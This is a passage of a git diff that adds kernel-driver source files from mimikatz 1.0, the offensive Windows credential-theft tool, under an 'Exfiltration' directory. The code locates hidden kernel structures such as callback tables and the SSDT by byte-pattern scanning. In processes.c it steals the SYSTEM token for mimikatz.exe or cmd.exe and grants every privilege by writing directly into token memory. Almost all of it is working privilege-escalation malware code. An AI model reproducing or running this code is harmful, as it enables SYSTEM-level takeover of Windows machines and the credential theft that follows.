+ UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; + LONG OFFS_WIN8_Head = -4; + #endif + PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; + PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + + if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); + if(NT_SUCCESS(retour)) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); + } + } + else + { + if(INDEX_OS < INDEX_7) + { + pattern = PTRN_WN60_Head; + taille = sizeof(PTRN_WN60_Head); + offsetTo= OFFS_WN60_Head; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WALL_Head; + taille = sizeof(PTRN_WALL_Head); + offsetTo= OFFS_WALL_Head; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WN61_Head; + taille = sizeof(PTRN_WN61_Head); + offsetTo= OFFS_WN61_Head; + } + else + { + pattern = PTRN_WIN8_Head; + taille = sizeof(PTRN_WIN8_Head); + offsetTo= OFFS_WIN8_Head; + } + #endif + } + retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h new file mode 100644 index 0000000..ce86568 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.h @@ -0,0 +1,17 @@ +#pragma once +#include "notify.h" + +ULONG * CmpCallBackCount; +PVOID * CmpCallBackVector; +PLIST_ENTRY CallbackListHead; + +typedef struct _KIWI_REGISTRY6_CALLBACK +{ + LARGE_INTEGER cookie; + PVOID context; + PVOID callback; + UNICODE_STRING altitude; +} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; + +NTSTATUS getNotifyRegistryRoutine(); +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c new file mode 100644 index 0000000..41436b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.c @@ -0,0 +1,111 @@ +#include "notify_thread.h" + +ULONG * PspCreateThreadNotifyRoutineCount = NULL; +PVOID * PspCreateThreadNotifyRoutine = NULL; + +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateThreadNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateThreadNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); + UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); + #elif defined _M_IX86 + UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; + LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); + UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; + LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); + #endif + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCount = 0; + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + #ifdef _M_X64 + pattern = PTRN_WNT5_Thread; + taille = sizeof(PTRN_WNT5_Thread); + offsetTo = OFFS_WNT5_Thread; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Thread; + taille = sizeof(PTRN_WNT6_Thread); + offsetTo = OFFS_WNT6_Thread; + #endif + offsetToCount = OFFS_WNT6_Count; + } + + #if defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Thread; + taille = sizeof(PTRN_WNO8_Thread); + offsetTo = OFFS_WNO8_Thread; + } + else + { + pattern = PTRN_WIN8_Thread; + taille = sizeof(PTRN_WIN8_Thread); + offsetTo = OFFS_WIN8_Thread; + } + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateThreadNotifyRoutine = (PVOID) (pointeur); + PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h new file mode 100644 index 0000000..22499b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.h @@ -0,0 +1,11 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateThreadNotifyRoutine 64 +#define MAX_NT5_PspCreateThreadNotifyRoutine 8 + +ULONG * PspCreateThreadNotifyRoutineCount; +PVOID * PspCreateThreadNotifyRoutine; + +NTSTATUS getPspCreateThreadNotifyRoutine(); +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c new file mode 100644 index 0000000..55e13ab --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.c @@ -0,0 +1,146 @@ +#include "processes.h" + +const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = +{ + /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, +/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ +/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ +/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} +#endif +}; + +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); +} + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); +} + +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_NOT_SUPPORTED; + + if(INDEX_OS >= INDEX_VISTA) + status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); + + return status; +} + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) +{ + NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; + PEPROCESS monProcess = NULL; + PCHAR processName = NULL; + HANDLE processId = NULL; + + PACCESS_TOKEN monTokenAcess = NULL; + PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; + + HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; + PROCESS_ACCESS_TOKEN ProcessTokenInformation; + PULONG pFlags2 = NULL; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + + for( + monProcess = PsInitialSystemProcess; + NT_SUCCESS(status) && + (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; + monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) + ) + { + processName = PsGetProcessImageFileName(monProcess); + processId = PsGetProcessId(monProcess); + + if(action == ExchangeToken || action == FullPrivilegeNT6) + { + if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId + ); + if(action == ExchangeToken) + { + status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); + if(NT_SUCCESS(status2)) + { + status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); + if(NT_SUCCESS(status2)) + { + ProcessTokenInformation.Token = newSysTokenHandle; + ProcessTokenInformation.Thread = 0; + + if(INDEX_OS >= INDEX_VISTA) + { + pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); + *pFlags2 &= ~TOKEN_FROZEN_MASK; + } + + status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); + if(NT_SUCCESS(status2)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n"); + } + + if(INDEX_OS >= INDEX_VISTA) + { + *pFlags2 |= TOKEN_FROZEN_MASK; + } + + ZwClose(newSysTokenHandle); + } + ZwClose(sysProcessTokenHandle); + } + ZwClose(processHandle); + ZwClose(sysProcessHandle); + } + } + } + else + { + if(monTokenAcess = PsReferencePrimaryToken(monProcess)) + { + mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); + + mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; + mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; + mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; + mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; + mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; + + PsDereferencePrimaryToken(monTokenAcess); + } + } + } + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); + } + } + return status; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h new file mode 100644 index 0000000..ae99825 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.h @@ -0,0 +1,33 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" + +#define INDEX_EPROCESS_NEXT 0 +#define INDEX_EPROCESS_FLAGS2 1 +#define INDEX_TOKEN_PRIVS 2 +#define MAX_EPROCESS_LEN 3 + +#define TOKEN_FROZEN_MASK 0x00008000 + +typedef struct _KIWI_NT6_PRIVILEGES +{ + UCHAR Present[8]; + UCHAR Enabled[8]; + UCHAR EnabledByDefault[8]; +} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; + +typedef enum _KIWI_EPROCESS_ACTION +{ + ListProcesses, + ExchangeToken, + FullPrivilegeNT6 +} KIWI_EPROCESS_ACTION; + +extern char* PsGetProcessImageFileName(PEPROCESS monProcess); +extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c new file mode 100644 index 0000000..688dfb2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.c @@ -0,0 +1,83 @@ +#include "ssdt.h" + +#ifdef _M_X64 +PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; +#endif + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + USHORT idxFunction; + ULONG_PTR funcAddr; + + #ifdef _M_X64 + status = getKeServiceDescriptorTable(); + if(NT_SUCCESS(status)) + { + #endif + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); + for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) + { + #ifdef _M_IX86 + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; + #else + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; + if(INDEX_OS < INDEX_VISTA) + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; + } + else + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; + } + #endif + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + #ifdef _M_X64 + } + #endif + return status; +} + +#ifdef _M_X64 +NTSTATUS getKeServiceDescriptorTable() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + + UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; + LONG OFFS_WNO8_Ke = -19; + LONG OFFS_WIN8_Ke = -16; + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + PUCHAR baseSearch = NULL; + + if(KeServiceDescriptorTable) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); + if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refDebut= baseSearch - 21*PAGE_SIZE; + refFin = baseSearch + 16*PAGE_SIZE; + offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; + + retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); + } + } + return retour; +} +#endif
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h new file mode 100644 index 0000000..33ab9af --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.h @@ -0,0 +1,13 @@ +#pragma once +#include "k_types.h" +#include "mod_memory.h" +#include "modules.h" + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +#ifdef _M_IX86 + extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; +#else + PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; + NTSTATUS getKeServiceDescriptorTable(); +#endif |